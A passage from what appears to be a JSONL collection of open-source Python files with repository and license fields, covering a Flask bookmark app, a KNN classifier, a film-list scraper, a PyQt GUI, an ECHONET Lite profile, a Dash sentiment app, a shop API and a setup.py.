\"\"\"logout route\"\"\"\n\n logout_user()\n return redirect(url_for('app.index_route'))\n\n\n#\n# controller\n#\n\n@blueprint.route('/', methods=['GET'])\ndef index_route():\n \"\"\"main index\"\"\"\n return render_template('index.html')\n\n\n@blueprint.route('/json', methods=['GET'])\ndef index_json_route():\n \"\"\"datatable data endpoint\"\"\"\n return jsonify({'data': dynamo.tables[TABLE_NAME].scan()['Items']})\n\n\n@blueprint.route('/add', methods=['GET', 'POST'])\n@login_required\ndef add_route():\n \"\"\"add link\"\"\"\n\n form = LinkForm()\n\n if form.validate_on_submit():\n link, tags = form.parsed_data()\n dynamo.tables[TABLE_NAME].put_item(Item={'id': str(uuid4()), 'link': link, 'tags': tags, 'created': datetime.utcnow().isoformat()})\n return redirect(url_for('app.index_route'))\n\n return render_template('addedit.html', form=form)\n\n\n@blueprint.route('/edit/', methods=['GET', 'POST'])\n@login_required\ndef edit_route(link_id):\n \"\"\"edit link\"\"\"\n\n link = dynamo.tables[TABLE_NAME].get_item(Key={'id': link_id})['Item']\n form = LinkForm(link=link['link'], tags=','.join(link['tags']))\n\n if form.validate_on_submit():\n link, tags = form.parsed_data()\n dynamo.tables[TABLE_NAME].update_item(\n Key={'id': link_id},\n UpdateExpression='set link = :link, tags = :tags',\n ExpressionAttributeValues={':link': link, ':tags': tags},\n ReturnValues='UPDATED_NEW')\n return redirect(url_for('app.index_route'))\n\n return render_template('addedit.html', form=form)\n\n\n@blueprint.route('/toggle//', methods=['POST'])\n@login_required\ndef toggle_route(link_id, tag):\n \"\"\"toggles tag on link\"\"\"\n\n form = ButtonForm()\n\n if form.validate_on_submit():\n link = dynamo.tables[TABLE_NAME].get_item(Key={'id': link_id})['Item']\n\n if tag in link['tags']:\n link['tags'].remove(tag)\n else:\n link['tags'].append(tag)\n\n dynamo.tables[TABLE_NAME].update_item(\n Key={'id': link_id},\n UpdateExpression='set tags = :tags',\n ExpressionAttributeValues={':tags': link['tags']},\n ReturnValues='UPDATED_NEW')\n\n return redirect(url_for('app.index_route'))\n\n\n@blueprint.route('/delete/', methods=['POST'])\n@login_required\ndef delete_route(link_id):\n \"\"\"delete item\"\"\"\n\n form = ButtonForm()\n\n if form.validate_on_submit():\n dynamo.tables[TABLE_NAME].delete_item(Key={'id': link_id})\n\n return redirect(url_for('app.index_route'))\n\n\n@blueprint.route('/import', methods=['GET', 'POST'])\n@login_required\ndef import_route():\n \"\"\"bulk import links\"\"\"\n\n form = ImportForm()\n\n if form.validate_on_submit():\n for link in [tmp.strip() for tmp in form.imported.data.splitlines()]:\n if link:\n dynamo.tables[TABLE_NAME].put_item(\n Item={'id': str(uuid4()), 'link': link, 'tags': ['imported'], 'created': datetime.utcnow().isoformat()})\n return redirect(url_for('app.index_route'))\n\n return render_template('import.html', form=form)\n", "source": "bodik/bmarks", "license": "MIT"}
+{"text": "# encoding: utf-8\n# author: vatsalya-gupta\n\n'''\nNecessary import statements\n'''\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.metrics import accuracy_score\n\n'''\nReading in the data using Pandas and output the first 5 rows to analyse it\n'''\ndf = pd.read_csv(\"../data/car_cleaned.csv\")\nprint(\"Dataset:\\n\", df.head())\n\n'''\nfit_transform method from LabelEncoder is used to fit and return encoded labels as KNN requires the\nlabels and features to be either of type int or float\n'''\nle = LabelEncoder()\n\nbuying = le.fit_transform(list(df[\"buying\"]))\nmaint = le.fit_transform(list(df[\"maint\"]))\ndoors = le.fit_transform(list(df[\"doors\"]))\npersons = le.fit_transform(list(df[\"persons\"]))\nlug_boot = le.fit_transform(list(df[\"lug_boot\"]))\nsafety = le.fit_transform(list(df[\"safety\"]))\ndecision = le.fit_transform(list(df[\"decision\"]))\n\npredict = \"decision\"\nX = list(zip(buying, maint, doors, persons, lug_boot, safety))\ny = list(decision)\n\n'''\nThe data is split into training and testing samples\n'''\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.2, random_state = 42)\n\n'''\nK-Nearest Neighbors Classifier (with K as 7) is implemented and training data is fit to it\n'''\nmodel = KNeighborsClassifier(n_neighbors = 7)\nmodel.fit(X_train, y_train)\n\n'''\nMaking the predictions using the default names for readability\n'''\ny_pred = model.predict(X_test)\nnames = [\"unacc\", \"acc\", \"good\", \"vgood\"]\nprint(\"\\nPredictions:\")\n\nfor x in range(len(X_test)):\n print(\"Predicted: \", names[y_pred[x]], \", Data: \", X_test[x], \", Actual: \", names[y_test[x]])\n\n '''\n Uncomment the following two lines to see the 7 nearest neighbors for each of the testing samples\n '''\n # n = model.kneighbors([X_test[x]], n_neighbors = 7, return_distance = True)\n # print(\"N: \", n)\n\n'''\nThe accuracy is calculated using the accuracy_score metric from sklearn\n'''\nacc = accuracy_score(y_pred, y_test)\nprint(\"\\nAccuracy: \", acc)\n", "source": "vatsalya-gupta/Car-Evaluation", "license": "MIT"}
+{"text": "import re\nfrom time import sleep\nfrom timeUtils import clock, elapsed\nfrom ioUtils import saveFile, getFile\nfrom fsUtils import setDir, isDir, mkDir, setFile, isFile, setSubFile\nfrom fileUtils import getBaseFilename\nfrom searchUtils import findSubPatternExt, findPatternExt, findExt, findNearest\nfrom strUtils import convertCurrency\nfrom webUtils import getWebData, getHTML\nfrom movieDB import movieDB\nfrom os import getcwd\nimport operator\n\n\n##############################################################################################################################\n# films101\n##############################################################################################################################\nclass films101(movieDB):\n def __init__(self, basedir=None):\n self.name = \"films101\"\n movieDB.__init__(self, dbdir=self.name)\n \n \n \n ###########################################################################################################################\n # Get Box Office Weekend Files\n ###########################################################################################################################\n def downloadFilms101YearlyData(self, year, outdir, debug=False):\n url=\"http://www.films101.com/y{0}r.htm\".format(year)\n savename = setFile(outdir, \"{0}.p\".format(year))\n if isFile(savename): return\n \n try:\n if debug:\n print(\"Downloading/Saving {0}\".format(savename))\n getWebData(base=url, savename=savename, useSafari=False)\n except:\n return\n sleep(2)\n\n\n def getFilms101YearlyData(self, startYear = 1900, endYear = 2018, debug=False):\n outdir = self.getDataDir()\n if debug:\n print(\"Data Directory: {0}\".format(outdir))\n #outdir = setDir(getBoxOfficeDir(), \"data\")\n if not isDir(outdir): mkDir(outdir)\n years = range(int(startYear), int(endYear)+1)\n for year in years:\n self.downloadFilms101YearlyData(year, outdir, debug)\n \n \n \n \n ###########################################################################################################################\n # Parse Box Office Weekend Files\n ###########################################################################################################################\n def parseFilms101YearlyData(self, ifile, debug=False):\n if debug:\n print(ifile)\n htmldata = getFile(ifile)\n bsdata = getHTML(htmldata)\n \n movies = []\n \n headertables = bsdata.findAll(\"table\", {\"class\": \"lsthdg\"})\n datatables = bsdata.findAll(\"table\", {\"class\": \"lstdta\"})\n if len(headertables) < len(datatables):\n print(headertables)\n raise ValueError(\"Found {0} headers and {1} data tables\".format(len(headertables), len(datatables)))\n \n if debug:\n print(\"Found {0} tables\".format(len(datatables)))\n for i in range(len(datatables)):\n headertable = headertables[i]\n tds = headertable.findAll(\"td\")\n headers = [x.text for x in tds if x is not None]\n headers = [x.strip() for x in headers]\n\n datatable = datatables[i]\n trs = datatable.findAll(\"tr\")\n expect = len(trs)\n for tr in trs:\n tds = tr.findAll(\"td\")\n tds = [x.text for x in tds if x is not None]\n if len(tds) != len(headers):\n print(headers)\n print(tds)\n 1/0\n\n try:\n mdata = dict(zip(headers, tds))\n except:\n print(headers)\n print(tds)\n raise ValueError(\"Could not combine headers and data\")\n\n try:\n movie = mdata['TITLE']\n except:\n raise ValueError(\"Could not get movie name from TITLE key! {0}\".format(mdata))\n\n movies.append(movie)\n \n if debug:\n print(\"Found {0}/{1} movies\".format(len(movies), expect))\n \n return movies\n \n\n\n def parseFilms101Data(self, debug=False):\n outdir = self.getDataDir()\n resultsdir = self.getResultsDir()\n files = findExt(outdir, ext=\".p\")\n movies = {}\n \n for ifile in sorted(files):\n year = getBaseFilename(ifile)\n results = self.parseFilms101YearlyData(ifile, debug=debug)\n movies[year] = []\n for movie in results:\n movies[year].append([movie,10])\n print(\"Found {0} movies in {1}\".format(len(movies[year]),year))\n savename = setFile(self.getResultsDir(), \"{0}.json\".format(self.name))\n print(\"Saving {0} Years of films101 Data to {1}\".format(len(movies), savename))\n saveFile(savename, movies)\n_, _ = clock(\"Last Run\")", "source": "tgadf/movies", "license": "MIT"}
+{"text": "#%% -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 24 13:43:56 2019\n\n@author: chahida\nEmail: abderrazak.chahid@gmail.com\n\"\"\"\n#% Packages and functions\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport torch\nimport torch.nn as nn\n\nfrom Python_lib.Shared_Functions import *\n\n#%% ##################################################################################################\n# input parameters\n\n\n#%% ---------------------- PART I -------------------------\n#% Split the test into sentences\ntarget_count0=np.sum(y_train==0)\ntarget_count1=np.sum(y_train==1)\n\nprint('Class 0:', target_count0)\nprint('Class 1:', target_count1)\nprint('Proportion:', round(target_count0 / target_count1, 2), ': 1')\n\n#%% Test Script CELL ################################################################################\nprint('The END.')\n\n", "source": "ChahidAbderrazak/Hand-Gesture-Recognition", "license": "MIT"}
+{"text": "import os\nimport sys\nfrom PyQt5 import QtGui, QtCore, QtWidgets\nfrom main_window import Ui_MainWindow\nfrom multiprocessing import Process\nfrom builtins import str\n\nif (os.name == 'nt'):\n import vtk\n\n vtk.vtkObject.GlobalWarningDisplayOff()\nimport compute_areas\n\n\nclass MainWindow(QtWidgets.QMainWindow, Ui_MainWindow):\n def __init__(self, parameters, *args):\n super(MainWindow, self).__init__(*args)\n Ui_MainWindow.setupUi(self, self)\n self.last_dir = os.path.expanduser(\"~\")\n self.connect_signals()\n if not parameters:\n self.precisionSpinBox.hide()\n self.precisionLabel.hide()\n self.exportResolutionLabel.hide()\n self.exportReductionDoubleSpinBox.hide()\n self.includeSegmentsCheckBox.hide()\n self.includeSegmentsLabel.hide()\n self.kernelSizeSpinBox.hide()\n self.kernelSizeLabel.hide()\n self.cleanVrmlCheckBox.hide()\n self.cleanVrmlLabel.hide()\n\n def connect_signals(self):\n self.one_vrml_button.clicked.connect(lambda: self.open_dialog(self.one_vrml_input, \"*.vrml *.imx\"))\n self.one_vrml_csv_button.clicked.connect(lambda: self.save_dialog(self.one_vrml_csv_input, \"*.csv\"))\n self.many_vrml_button.clicked.connect(lambda: self.open_dir_dialog(self.many_vrml_input))\n self.many_vrml_csv_button.clicked.connect(lambda: self.open_dir_dialog(self.many_vrml_csv_input))\n self.one_vrml_run_button.clicked.connect(lambda: self.run(\"one_vrml\"))\n self.many_vrml_run_button.clicked.connect(lambda: self.run(\"many_vrml\"))\n\n def run(self, kind):\n args = []\n\n if kind == \"one_vrml\":\n if not os.path.isfile(self.one_vrml_input.text()):\n self.one_vrml_input.setFocus()\n return\n if self.one_vrml_csv_input.text() == \"\":\n self.one_vrml_csv_input.setFocus()\n return\n args = [\"-a\", \"{}\".format(self.one_vrml_csv_input.text()),\n \"-v\", \"{}\".format(self.one_vrml_input.text()),\n \"-s\", \"{}\".format(self.outputFormatComboBox.currentText()),\n \"-p\", \"{}\".format(self.precisionSpinBox.value()),\n \"-r\", \"{}\".format(self.exportReductionDoubleSpinBox.value()),\n \"-f\", \"{}\".format(self.includeSegmentsCheckBox.isChecked()),\n \"-k\", \"{}\".format(self.kernelSizeSpinBox.value()),\n \"-c\", \"{}\".format(self.cleanVrmlCheckBox.isChecked())]\n\n if kind == \"many_vrml\":\n if not os.path.isdir(self.many_vrml_input.text()):\n self.many_vrml_input.setFocus()\n return\n if not os.path.isdir(self.many_vrml_csv_input.text()):\n self.many_vrml_csv_input.setFocus()\n return\n args = [\"-o\", \"{}\".format(self.many_vrml_csv_input.text()),\n \"-w\", \"{}\".format(self.many_vrml_input.text()),\n \"-s\", \"{}\".format(self.outputFormatComboBox.currentText()),\n \"-p\", \"{}\".format(self.precisionSpinBox.value()),\n \"-r\", \"{}\".format(self.exportReductionDoubleSpinBox.value()),\n \"-f\", \"{}\".format(self.includeSegmentsCheckBox.isChecked()),\n \"-k\", \"{}\".format(self.kernelSizeSpinBox.value()),\n \"-c\", \"{}\".format(self.cleanVrmlCheckBox.isChecked())]\n\n print(\"python compute_areas.py \" + \" \".join(args))\n\n p = Process(target=compute_areas.main, args=[args])\n p.start()\n\n self.statusBar.clearMessage()\n QtWidgets.QApplication.setOverrideCursor(QtGui.QCursor(QtCore.Qt.WaitCursor))\n self.tabWidget.setDisabled(True)\n self.check_running(p)\n\n def check_running(self, p):\n if p.is_alive():\n QtCore.QTimer.singleShot(250, lambda: self.check_running(p))\n else:\n p.join()\n if p.exitcode != 0:\n self.statusBar.showMessage(\"ERROR: There was an error computing Areas, try with other vrml/imx\")\n self.tabWidget.setDisabled(False)\n QtWidgets.QApplication.restoreOverrideCursor()\n\n def _handle_file_path(self, file_path):\n if type(file_path) is tuple:\n file = file_path[0]\n else:\n file = file_path\n\n self.last_dir = os.path.dirname(file)\n return file\n\n def open_dialog(self, target, filter):\n file = QtWidgets.QFileDialog.getOpenFileName(self, \"Open File\",\n self.last_dir, filter) # QtCore.QString\n file = self._handle_file_path(file)\n target.setText(file)\n\n def save_dialog(self, target, filter):\n file = QtWidgets.QFileDialog.getSaveFileName(self, \"Save File\",\n self.last_dir, filter) # QtCore.QString\n file = self._handle_file_path(file)\n target.setText(file)\n\n def open_dir_dialog(self, target):\n file = QtWidgets.QFileDialog.getExistingDirectory(self, \"Open Folder\", self.last_dir) # QtCore.QString\n file = self._handle_file_path(file)\n target.setText(file)\n\n\ndef main(argv):\n app = QtWidgets.QApplication(sys.argv)\n mw = MainWindow(\"-p\" in argv)\n # mw.one_imx_input.setText(\"/home/jmorales/sets/imxs/humanas-cingular/Api/api if6 1 8enero LONGS.imx\")\n # mw.one_csv_input.setText(\"/tmp/paco.csv\")\n mw.show()\n app.exec_()\n\n\nif __name__ == '__main__':\n main(sys.argv)\n", "source": "vg-lab/MeshReconstruct", "license": "MIT"}
+{"text": "# Copyright (C) 2021 Satoshi Konno. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\")\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http:#www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport random\n\nfrom typing import List\nfrom .const import ECHONET_LITE_VERSION\nfrom .profile import Profile\nfrom .object import Object\nfrom .std import Database\nfrom .util.bytes import Bytes\nfrom .property import Property\nfrom .node import Node\n\n\nclass NodeProfile(Profile):\n CODE = 0x0EF001\n CLASS_CODE = 0xF0\n INSTANCE_GENERAL_CODE = 0x01\n INSTANCE_TRANSMISSION_ONLY_CODE = 0x02\n\n OPERATING_STATUS = Profile.OPERATING_STATUS\n VERSION_INFORMATION = 0x82\n IDENTIFICATION_NUMBER = 0x83\n FAULT_CONTENT = 0x89\n UNIQUE_IDENTIFIER_DATA = 0xBF\n NUMBER_OF_SELF_NODE_INSTANCES = 0xD3\n NUMBER_OF_SELF_NODE_CLASSES = 0xD4\n INSTANCE_LIST_NOTIFICATION = 0xD5\n SELF_NODE_INSTANCE_LIST_S = 0xD6\n SELF_NODE_CLASS_LIST_S = 0xD7\n\n OPERATING_STATUS_SIZE = 1\n VERSION_INFORMATION_SIZE = 4\n IDENTIFICATION_MANUFACTURER_CODE_SIZE = 3\n IDENTIFICATION_UNIQUE_ID_SIZE = 13\n IDENTIFICATION_NUMBER_SIZE = 1 + IDENTIFICATION_MANUFACTURER_CODE_SIZE + IDENTIFICATION_UNIQUE_ID_SIZE\n FAULT_CONTENT_SIZE = 2\n UNIQUE_IDENTIFIER_DATA_SIZE = 2\n NUMBER_OF_SELF_NODE_INSTANCES_SIZE = 3\n NUMBER_OF_SELF_NODE_CLASSES_SIZE = 2\n SELF_NODE_INSTANCE_LIST_S_MAX = 0xFF\n SELF_NODE_CLASS_LIST_S_MAX = 0xFF\n INSTANCE_LIST_NOTIFICATION_MAX = SELF_NODE_INSTANCE_LIST_S_MAX\n\n OPERATING_STATUS_ON = Profile.OPERATING_STATUS_ON\n OPERATING_STATUS_OFF = Profile.OPERATING_STATUS_OFF\n BOOTING = 0x30\n NOT_BOOTING = 0x31\n LOWER_COMMUNICATION_LAYER_PROTOCOL_TYPE = 0xFE\n\n def __init__(self):\n super().__init__(NodeProfile.CODE)\n std_obj = Database().get_object(NodeProfile.CODE)\n if isinstance(std_obj, Object):\n self._set_object_properties(std_obj)\n self.set_request_handler(self)\n self.__update_initial_properties()\n self.update_class_instance_properties([self])\n\n def __update_initial_properties(self) -> bool:\n self.set_property_integer(NodeProfile.OPERATING_STATUS, NodeProfile.BOOTING, NodeProfile.OPERATING_STATUS_SIZE)\n self.set_property_integer(NodeProfile.VERSION_INFORMATION, ECHONET_LITE_VERSION, NodeProfile.VERSION_INFORMATION_SIZE)\n self.__update_id_number()\n self.__update_unique_id()\n return True\n\n def __update_id_number(self) -> bool:\n id_bytes = bytearray([NodeProfile.LOWER_COMMUNICATION_LAYER_PROTOCOL_TYPE, 0x00, 0x00, 0x00])\n for _ in range(NodeProfile.IDENTIFICATION_UNIQUE_ID_SIZE):\n id_bytes.append(random.randint(1, 0xFF))\n return self.set_property_data(NodeProfile.IDENTIFICATION_NUMBER, id_bytes)\n\n def __update_unique_id(self) -> bool:\n id_bytes = bytearray()\n id_bytes.append(random.randint(1, 0xFF) & 0xC0)\n id_bytes.append(random.randint(1, 0xFF))\n return self.set_property_data(NodeProfile.UNIQUE_IDENTIFIER_DATA, id_bytes)\n\n def __is_node_profile_object(self, obj) -> bool:\n if obj.code == NodeProfile.CODE:\n return True\n if obj.code == NodeProfileReadOnly.CODE:\n return True\n return False\n\n def __update_instance_properties(self, objs: List[Object]) -> bool:\n instance_cnt = 0\n instance_list = bytearray()\n for obj in objs:\n if self.__is_node_profile_object(obj):\n continue\n instance_cnt += 1\n instance_list.extend(Bytes.from_int(obj.code, 3))\n\n if not self.set_property_data(NodeProfile.NUMBER_OF_SELF_NODE_INSTANCES, Bytes.from_int(instance_cnt, NodeProfile.NUMBER_OF_SELF_NODE_INSTANCES_SIZE)):\n return False\n\n instance_list_bytes = bytearray(Bytes.from_int(instance_cnt, 1))\n instance_list_bytes.extend(instance_list)\n if not self.set_property_data(NodeProfile.INSTANCE_LIST_NOTIFICATION, instance_list_bytes):\n return False\n if not self.set_property_data(NodeProfile.SELF_NODE_INSTANCE_LIST_S, instance_list_bytes):\n return False\n\n return True\n\n def __update_class_properties(self, objs: List[Object]) -> bool:\n class_cnt = 0\n class_list = bytearray()\n for obj in objs:\n class_cnt += 1\n if self.__is_node_profile_object(obj):\n continue\n has_same_class = False\n for n in range(0, len(class_list), 2):\n if class_list[n] == obj.group_code and class_list[n + 1] == obj.class_code:\n has_same_class = True\n break\n if has_same_class:\n continue\n class_list.extend(bytes([obj.group_code, obj.class_code]))\n\n if not self.set_property_data(NodeProfile.NUMBER_OF_SELF_NODE_CLASSES, Bytes.from_int(class_cnt, NodeProfile.NUMBER_OF_SELF_NODE_CLASSES_SIZE)):\n return False\n\n class_list_bytes = bytearray(Bytes.from_int(class_cnt, 1))\n class_list_bytes.extend(class_list)\n if not self.set_property_data(NodeProfile.SELF_NODE_CLASS_LIST_S, class_list_bytes):\n return False\n\n return True\n\n def __set_property_map_property(self, code: int, prop_map: List[int]) -> bool:\n map_bytes = bytearray(bytes([len(prop_map)]))\n for prop_code in prop_map:\n map_bytes.extend(bytes([prop_code]))\n if not self.set_property_data(code, map_bytes):\n return False\n return True\n\n def __update_property_map_properties(self, objs: List[Object]) -> bool:\n anno_list = []\n get_list = []\n set_list = []\n for obj in objs:\n for prop in obj.properties:\n if prop.is_announce_required():\n anno_list.append(prop.code)\n if prop.is_read_enabled():\n get_list.append(prop.code)\n if prop.is_write_enabled():\n set_list.append(prop.code)\n anno_map = list(set(anno_list))\n get_map = list(set(get_list))\n set_map = list(set(set_list))\n if not self.__set_property_map_property(NodeProfile.ANNO_PROPERTY_MAP, anno_map):\n return False\n if not self.__set_property_map_property(NodeProfile.GET_PROPERTY_MAP, get_map):\n return False\n if not self.__set_property_map_property(NodeProfile.SET_PROPERTY_MAP, set_map):\n return False\n return True\n\n def update_class_instance_properties(self, objs: List[Object]) -> bool:\n if not self.__update_instance_properties(objs):\n return False\n if not self.__update_class_properties(objs):\n return False\n if not self.__update_property_map_properties([self]):\n return False\n return True\n\n def property_read_requested(self, prop: Property) -> bool:\n if isinstance(self.node, Node):\n self.update_class_instance_properties(self.node.objects)\n return True\n\n def property_write_requested(self, prop: Property, data: bytes) -> bool:\n return False\n\n\nclass NodeProfileReadOnly(NodeProfile):\n CODE = 0x0EF002\n\n def __init__(self):\n super().__init__()\n self.set_code(NodeProfileReadOnly.CODE)\n", "source": "cybergarage/uecho-py", "license": "Apache-2.0"}
+{"text": "sum = float(input())\n\ncounter_of_coins = 0\nsum = int(sum*100)\ncounter_of_coins += sum // 200\nsum = sum % 200\ncounter_of_coins += sum // 100\nsum = sum % 100\ncounter_of_coins += sum // 50\nsum = sum % 50\ncounter_of_coins += sum // 20\nsum = sum % 20\ncounter_of_coins += sum // 10\nsum = sum % 10\ncounter_of_coins += sum // 5\nsum = sum % 5\ncounter_of_coins += sum // 2\nsum = sum % 2\n\nif sum == 1:\n counter_of_coins += 1\n\nprint(int(counter_of_coins))", "source": "Rohitm619/Softuni-Python-Basic", "license": "MIT"}
+{"text": "from typing import Optional\n\n\ndef try_convert_float(float_str: str) -> Optional[float]:\n try:\n return float(float_str)\n except ValueError:\n return None\n", "source": "scaleapi/nucleus-python-client", "license": "MIT"}
+{"text": "import os\nimport random\nimport zipfile\n\nall_advancements = os.listdir('advancements')\n\ndef advancement_function(number):\n\treturn (\n\t\t'scoreboard players add @s points 1\\n'\n\t\tf'execute if score @s points matches {number} run function hunt:gameover'\n\t)\n\ndef write(archive, filepath, destination):\n\tarchive.write(filepath, os.path.join(destination, filepath))\n\ndef generate_random_zip(fp):\n\tselected_advancements = random.sample(all_advancements, 5)\n\tgenerate_zip(fp, selected_advancements)\n\ndef generate_zip(fp, selected_advancements):\n\t\n\twith zipfile.ZipFile(fp, 'w') as archive:\n\t\ttop_folder = 'hunt'\n\t\tdata_folder = os.path.join(top_folder, 'data')\n\t\thunt_folder = os.path.join(data_folder, 'hunt')\n\t\tadvancements_folder = os.path.join(hunt_folder, 'advancements')\n\t\twrite(archive, 'pack.mcmeta', top_folder)\n\t\tfor function in os.listdir('functions'):\n\t\t\twrite(archive, os.path.join('functions', function), hunt_folder)\n\t\tarchive.writestr(\n\t\t\tos.path.join(hunt_folder, 'functions', 'advancement.mcfunction'),\n\t\t\tadvancement_function(len(selected_advancements))\n\t\t)\n\t\twrite(archive, 'root.json', advancements_folder)\n\t\tfor advancement in selected_advancements:\n\t\t\twrite(archive, os.path.join('advancements', advancement), hunt_folder)", "source": "erstechnical/garlicsalted", "license": "MIT"}
+{"text": "import dash\nimport dash_core_components as dcc\nimport dash_bootstrap_components as dbc\nimport dash_html_components as html\nfrom dash.dependencies import Input, Output\nimport config\nimport requests\nfrom markdown import md1, md2\n\ncolors = {'background': 'lightcyan'}\n\napp = dash.Dash(__name__,\n external_stylesheets=[dbc.themes.BOOTSTRAP],\n meta_tags=[{\"name\": \"viewport\", \"content\": \"width=device-width, initial-scale=1\"}])\napp.title = \"Sentiment Analyser\"\n\nsentiment_analysis_layout = html.Div(\n [\n html.H1(\"Sentiment Analyzer\", style={'padding-top':'20px','margin-bottom':'30px', 'text-decoration': 'underline'}),\n # html.Div(children=\"Oscar Bennett, October 2020\", style={'textAlign':'right', 'margin-right':'20px'}),\n html.Div(id=\"text-area\", children=[\n dcc.Textarea(id=\"text\", placeholder=\"Write something here...\", style={'width': '100%', 'height': 180}),\n dbc.Progress(id=\"bar\", value=50, color='info')\n ]),\n html.Div(id=\"result\", children=\"Sentiment Prediction\", style={'margin': '10px', 'height': '1em'}),\n html.Div(id=\"markdown-area\", children=[dcc.Markdown(md1, id=\"markdown1\"),\n html.Img(src=\"assets/system_diagram.png\",style = {\"width\": \"75%\", \n \"display\": \"block\",\n \"margin-left\": \"auto\",\n \"margin-right\": \"auto\"}),\n dcc.Markdown(md2, id=\"markdown2\"),])\n ], style={'textAlign':'center', 'backgroundColor': colors['background']})\n\napp.layout = sentiment_analysis_layout\n\n@app.callback([Output('result', 'children'), Output('bar','value'), Output('bar','color')],\n [Input('text','value')],\n prevent_initial_call=True)\ndef update_result(text):\n if text.strip() != '':\n json_data = {'text': text, 'pred_type': 'soft'}\n response = requests.post(config.API_URL, json=json_data)\n if response.status_code == 200:\n response_json_data = response.json()\n pred_val = response_json_data['pred']\n pred_val = float(pred_val)\n if pred_val < 0.2:\n pred = 'Negative'\n bar_color = 'danger'\n elif 0.2 <= pred_val < 0.4:\n pred = 'Lean Negative'\n bar_color = 'info'\n elif 0.4 <= pred_val < 0.6:\n pred = 'Neutral'\n bar_color = 'info'\n elif 0.6 <= pred_val < 0.8:\n pred = 'Lean Positive'\n bar_color = 'info'\n else:\n pred = 'Positive'\n bar_color = 'success'\n return [pred, pred_val*100, bar_color]\n else:\n print(f\"Error response from API. Code: {response.status_code}\")\n return ['Sentiment Prediction', 50, 'info']\n else:\n return ['Sentiment Prediction', 50, 'info']\n\nserver = app.server\nif __name__ == '__main__':\n app.run_server(debug=config.DEBUG, host=config.HOST)", "source": "ofbennett/sentiment-analysis-app", "license": "MIT"}
+{"text": "from tortoise import Tortoise\n\nfrom .controllers import router\n\n\ndef init(app):\n app.include_router(router, prefix=\"/users\", tags=[\"Users\"])\n Tortoise.init_models([\"app.users.models\"], \"users\")\n", "source": "Dikower/hack-starter", "license": "MIT"}
+{"text": "from flask_restplus import Namespace, Resource, fields\nfrom flask_login import current_user\nfrom flask import request\nfrom flask_babel import lazy_gettext\n\nfrom flaskshop.product.models import Product\nfrom flaskshop.checkout.models import Cart\n\napi = Namespace(\"products\", description=lazy_gettext(\"Products related operations\"))\nparser = api.parser()\nparser.add_argument(\"variant_id\", type=int, required=True, help=lazy_gettext(\"The variant\"))\nparser.add_argument(\"quantity\", type=int, required=True, help=lazy_gettext(\"The quantity\"))\n\nproduct_list = api.model(\n \"ProductList\",\n {\n \"id\": fields.Integer(required=True, description=lazy_gettext(\"The product identifier\")),\n \"title\": fields.String(required=True, description=lazy_gettext(\"The product name\")),\n \"description\": fields.String(description=lazy_gettext(\"The product description\")),\n \"price\": fields.String(description=lazy_gettext(\"The product price\")),\n \"first_img\": fields.String(description=lazy_gettext(\"The product first img\")),\n },\n)\nvariant = api.model(\n \"Variant\",\n {\n \"id\": fields.Integer(required=True, description=lazy_gettext(\"The variant identifier\")),\n \"sku\": fields.String(required=True, description=lazy_gettext(\"The variant sku\")),\n \"title\": fields.String(required=True, description=lazy_gettext(\"The variant name\")),\n \"price\": fields.String(required=True, description=lazy_gettext(\"The variant price\")),\n \"stock\": fields.String(\n required=True, description=lazy_gettext(\"The variant stock\"), attribute=\"quantity\"\n ),\n },\n)\nproduct_detail = api.model(\n \"ProductDetail\",\n {\n \"id\": fields.Integer(required=True, description=lazy_gettext(\"The product identifier\")),\n \"title\": fields.String(required=True, description=lazy_gettext(\"The product name\")),\n \"description\": fields.String(description=lazy_gettext(\"The product description\")),\n \"price\": fields.String(description=lazy_gettext(\"The product price\")),\n \"images\": fields.List(fields.String, description=lazy_gettext(\"The product images\")),\n \"variant\": fields.List(\n fields.Nested(variant), description=lazy_gettext(\"The product variant\")\n ),\n },\n)\n\n\n@api.route(\"/\")\nclass ProductList(Resource):\n @api.doc(\"list_products\")\n @api.marshal_list_with(product_list)\n def get(self):\n \"\"\"List all products\"\"\"\n page = request.args.get(\"page\", 1, int)\n products = Product.query.paginate(page, per_page=8).items\n return products\n\n\n@api.route(\"/\")\n@api.param(\"id\", lazy_gettext(\"The product identifier\"))\n@api.response(404, lazy_gettext(\"Product not found\"))\nclass ProductDetail(Resource):\n @api.doc(\"get_product\")\n @api.marshal_with(product_detail)\n def get(self, id):\n \"\"\"Fetch a product \"\"\"\n product = Product.query.get(id)\n if product:\n return product\n api.abort(404)\n\n @api.doc(parser=parser)\n def post(self, id):\n \"\"\"post product to current user cart\"\"\"\n args = parser.parse_args()\n Cart.add_to_currentuser_cart(args[\"quantity\"], args[\"variant_id\"])\n res = {\"cart_lines\": len(current_user.cart.lines)}\n return res, 201\n", "source": "bhardwajRahul/flask-shop", "license": "BSD-3-Clause"}
+{"text": "# -*- coding: utf-8 -*-\n\"\"\"\npython setup.py sdist upload -r pypi\n\"\"\"\n\nfrom setuptools import setup, find_packages\nfrom stallions import __version__\n\nVERSION = __version__\n\nreadability_lxml = \"readability-lxml\"\n\nsetup(\n name='stallions',\n version=VERSION,\n description='Extract the content of the web page.',\n license='',\n author='galen',\n author_email='galen.wang@rtbasia.com',\n classifiers=[\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n ],\n url='https://github.com/Mywayking/python_stallion',\n keywords='Web spider',\n packages=find_packages(),\n install_requires=[\n readability_lxml,\n 'lxml',\n 'requests',\n 'fake-useragent',\n ],\n)\n", "source": "Mywayking/python_stallion", "license": "Apache-2.0"}
